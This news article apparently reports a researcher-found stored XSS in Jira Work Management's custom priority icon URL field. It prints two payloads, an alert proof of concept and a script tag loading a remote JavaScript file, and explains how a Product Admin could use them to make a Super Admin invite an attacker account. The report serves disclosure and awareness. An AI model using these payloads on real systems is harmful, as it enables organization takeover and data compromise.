Critical Stored XSS in Jira Work Management Allows Take

A cornerstone of project tracking and task management for countless organizations, Jira Work Management is a critical collaboration tool within the Atlassian ecosystem. Recently, security researchers at Snapsec identified a critical Stored Cross-Site Scripting (XSS) vulnerability affecting the platform.

By exploiting a seemingly low-risk configuration field, the team demonstrated how a low-privileged user could achieve a full organization takeover.

Stored XSS Bug in Jira Work Management

In Jira, organizations track workflows using “issues,” which contain data fields such as priority. While Jira provides default priority levels, administrators can customize both the priorities and their meanings to fit organizational needs.

During their assessment, researchers noticed that users with specific administrative permissions could create a new custom priority and manipulate its “icon URL” property.

The backend lacked proper input validation and output encoding for this specific URL field.

By setting the icon URL to a malicious payload, such as https://google.com?name=</script><script>alert(0)</script>, the team successfully triggered a Stored XSS on the frontend.

Stored XSS is highly dangerous because it executes malicious scripts in a victim’s browser simply by rendering an affected page no links need to be clicked.

The primary challenge for the researchers was weaponizing this authenticated XSS to impact high-level administrators.

To map out an attack path, the team analyzed Jira’s user management roles to find the lowest-privileged role capable of creating a custom priority.

They identified the “Product Admin” role. A Product Admin might not have direct access to internal Jira applications like Confluence or Service Management.

But they retain the ability to perform basic administration tasks, including editing issue priorities.

Executing the Organization Takeover

To execute the attack, a compromised or malicious Product Admin navigates to the Jira issue settings and adds a new custom priority.

They inject a targeted payload into the icon URL, such as https://google.com?name=</script><script src=https://snapsec.co/jira-xss.js></script>.

When a higher-privileged user, such as a Super Admin, visits the modified priorities page, the stored payload executes silently in their browser.

The malicious JavaScript forces the Super Admin’s session to send an automated invite request.

This request invites an attacker-controlled user account into the organization and grants them full access to multiple Atlassian products.

Consequently, the attacker gains the ability to view, create, modify, or delete projects across the entire environment, resulting in a complete organizational compromise.

This vulnerability highlights a crucial lesson in modern Software-as-a-Service (SaaS) security: administrative inputs must never be trusted by default.

Even mature platforms can harbor high-impact vulnerabilities when input validation is ignored in internal configuration panels.

Furthermore, access control does not automatically equal risk control. A user with restricted product visibility still managed to inject a persistent payload into a globally accessible configuration area.

Organizations must enforce strict validation on customizable fields, as highlighted by Snapsec, ensuring security across all admin workflows.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.